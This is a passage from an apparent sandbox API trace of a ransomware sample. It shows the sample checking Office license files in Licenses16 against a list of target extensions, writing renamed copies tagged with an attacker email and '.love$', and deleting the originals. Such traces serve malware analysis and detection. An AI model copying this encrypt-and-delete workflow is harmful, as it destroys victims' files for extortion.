(lpString1=".rar", lpString2="m-ms") returned -1 [0274.468] lstrlenW (lpString=".bz2") returned 4 [0274.468] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.468] lstrlenW (lpString=".7z") returned 3 [0274.468] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.468] lstrlenW (lpString=".dbf") returned 4 [0274.468] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.468] lstrlenW (lpString=".1cd") returned 4 [0274.468] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.468] lstrlenW (lpString=".jpg") returned 4 [0274.468] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.469] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0274.469] lstrlenW (lpString="O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 41 [0274.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.470] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11651) returned 1 [0274.470] CloseHandle (hObject=0x454) returned 1 [0274.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 0x220 [0274.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.471] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.471] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0274.472] GetLastError () returned 0x0 [0274.472] ReadFile (in: hFile=0x454, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d83, lpOverlapped=0x0) returned 1 [0274.474] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0274.475] ReadFile (in: hFile=0x454, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.475] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x126, lpOverlapped=0x0) returned 1 [0274.475] SetEndOfFile (hFile=0x488) returned 1 [0274.476] CloseHandle (hObject=0x488) returned 1 [0274.476] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.476] SetEndOfFile (hFile=0x454) returned 1 [0274.479] CloseHandle (hObject=0x454) returned 1 [0274.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 1 [0274.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.481] lstrlenW (lpString=".doc") returned 4 [0274.482] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.482] lstrlenW (lpString=".docx") returned 5 [0274.482] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.482] lstrlenW (lpString=".pdf") returned 4 [0274.482] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.482] lstrlenW (lpString=".xls") returned 4 [0274.482] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.482] lstrlenW (lpString=".xlsx") returned 5 [0274.482] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.482] lstrlenW (lpString=".ppt") returned 4 [0274.482] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.482] lstrlenW (lpString=".zip") returned 4 [0274.482] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.482] lstrlenW (lpString=".rar") returned 4 [0274.482] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.482] lstrlenW (lpString=".bz2") returned 4 [0274.482] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.482] lstrlenW (lpString=".7z") returned 3 [0274.482] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.482] lstrlenW (lpString=".dbf") returned 4 [0274.482] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.482] lstrlenW (lpString=".1cd") returned 4 [0274.482] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.482] lstrlenW (lpString=".jpg") returned 4 [0274.483] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.483] lstrlenW (lpString=".doc") returned 4 [0274.483] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.483] lstrlenW (lpString=".docx") returned 5 [0274.483] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.483] lstrlenW (lpString=".pdf") returned 4 [0274.483] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.483] lstrlenW (lpString=".xls") returned 4 [0274.483] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.483] lstrlenW (lpString=".xlsx") returned 5 [0274.483] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.483] lstrlenW (lpString=".ppt") returned 4 [0274.483] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.483] lstrlenW (lpString=".zip") returned 4 [0274.483] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.483] lstrlenW (lpString=".rar") returned 4 [0274.484] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.484] lstrlenW (lpString=".bz2") returned 4 [0274.484] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.484] lstrlenW (lpString=".7z") returned 3 [0274.484] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.484] lstrlenW (lpString=".dbf") returned 4 [0274.484] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.484] lstrlenW (lpString=".1cd") returned 4 [0274.484] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0274.484] lstrlenW (lpString=".jpg") returned 4 [0274.484] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.484] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0274.484] lstrlenW (lpString="O365HomePremR_Subscription2-pl.xrm-ms") returned 37 [0274.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.486] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11199) returned 1 [0274.486] CloseHandle (hObject=0x454) returned 1 [0274.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 0x220 [0274.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.486] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.486] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0274.488] GetLastError () returned 0x0 [0274.488] ReadFile (in: hFile=0x454, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0274.490] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0274.491] ReadFile (in: hFile=0x454, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.491] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11e, lpOverlapped=0x0) returned 1 [0274.491] SetEndOfFile (hFile=0x488) returned 1 [0274.492] CloseHandle (hObject=0x488) returned 1 [0274.492] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.492] SetEndOfFile (hFile=0x454) returned 1 [0274.886] CloseHandle (hObject=0x454) returned 1 [0274.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 1 [0275.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.386] lstrlenW (lpString=".doc") returned 4 [0275.386] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.386] lstrlenW (lpString=".docx") returned 5 [0275.386] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.386] lstrlenW (lpString=".pdf") returned 4 [0275.386] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.386] lstrlenW (lpString=".xls") returned 4 [0275.386] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.386] lstrlenW (lpString=".xlsx") returned 5 [0275.386] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.386] lstrlenW (lpString=".ppt") returned 4 [0275.386] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.386] lstrlenW (lpString=".zip") returned 4 [0275.386] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.386] lstrlenW (lpString=".rar") returned 4 [0275.386] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.386] lstrlenW (lpString=".bz2") returned 4 [0275.386] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.386] lstrlenW (lpString=".7z") returned 3 [0275.386] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.386] lstrlenW (lpString=".dbf") returned 4 [0275.386] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.386] lstrlenW (lpString=".1cd") returned 4 [0275.386] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.386] lstrlenW (lpString=".jpg") returned 4 [0275.386] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.387] lstrlenW (lpString=".doc") returned 4 [0275.387] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.387] lstrlenW (lpString=".docx") returned 5 [0275.387] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.387] lstrlenW (lpString=".pdf") returned 4 [0275.387] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.387] lstrlenW (lpString=".xls") returned 4 [0275.387] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.387] lstrlenW (lpString=".xlsx") returned 5 [0275.387] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.387] lstrlenW (lpString=".ppt") returned 4 [0275.387] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.387] lstrlenW (lpString=".zip") returned 4 [0275.387] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.387] lstrlenW (lpString=".rar") returned 4 [0275.387] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.387] lstrlenW (lpString=".bz2") returned 4 [0275.387] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.387] lstrlenW (lpString=".7z") returned 3 [0275.387] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.387] lstrlenW (lpString=".dbf") returned 4 [0275.387] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.387] lstrlenW (lpString=".1cd") returned 4 [0275.387] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0275.387] lstrlenW (lpString=".jpg") returned 4 [0275.387] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.388] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.388] lstrlenW (lpString="O365HomePremR_Subscription4-ppd.xrm-ms") returned 38 [0275.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0275.389] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=26541) returned 1 [0275.389] CloseHandle (hObject=0x4ac) returned 1 [0275.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 0x220 [0275.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0275.390] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.390] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0275.391] GetLastError () returned 0x0 [0275.391] ReadFile (in: hFile=0x4ac, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x67ad, lpOverlapped=0x0) returned 1 [0275.394] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0275.396] ReadFile (in: hFile=0x4ac, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.396] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x120, lpOverlapped=0x0) returned 1 [0275.396] SetEndOfFile (hFile=0x484) returned 1 [0275.396] CloseHandle (hObject=0x484) returned 1 [0275.396] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.396] SetEndOfFile (hFile=0x4ac) returned 1 [0275.400] CloseHandle (hObject=0x4ac) returned 1 [0275.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 1 [0275.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.403] lstrlenW (lpString=".doc") returned 4 [0275.403] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.403] lstrlenW (lpString=".docx") returned 5 [0275.403] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.403] lstrlenW (lpString=".pdf") returned 4 [0275.403] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.403] lstrlenW (lpString=".xls") returned 4 [0275.403] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.403] lstrlenW (lpString=".xlsx") returned 5 [0275.403] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.403] lstrlenW (lpString=".ppt") returned 4 [0275.403] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.403] lstrlenW (lpString=".zip") returned 4 [0275.403] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.403] lstrlenW (lpString=".rar") returned 4 [0275.403] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.403] lstrlenW (lpString=".bz2") returned 4 [0275.403] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.403] lstrlenW (lpString=".7z") returned 3 [0275.403] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.403] lstrlenW (lpString=".dbf") returned 4 [0275.403] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.403] lstrlenW (lpString=".1cd") returned 4 [0275.403] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.403] lstrlenW (lpString=".jpg") returned 4 [0275.403] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.404] lstrlenW (lpString=".doc") returned 4 [0275.404] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.404] lstrlenW (lpString=".docx") returned 5 [0275.404] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.404] lstrlenW (lpString=".pdf") returned 4 [0275.404] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.404] lstrlenW (lpString=".xls") returned 4 [0275.404] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.404] lstrlenW 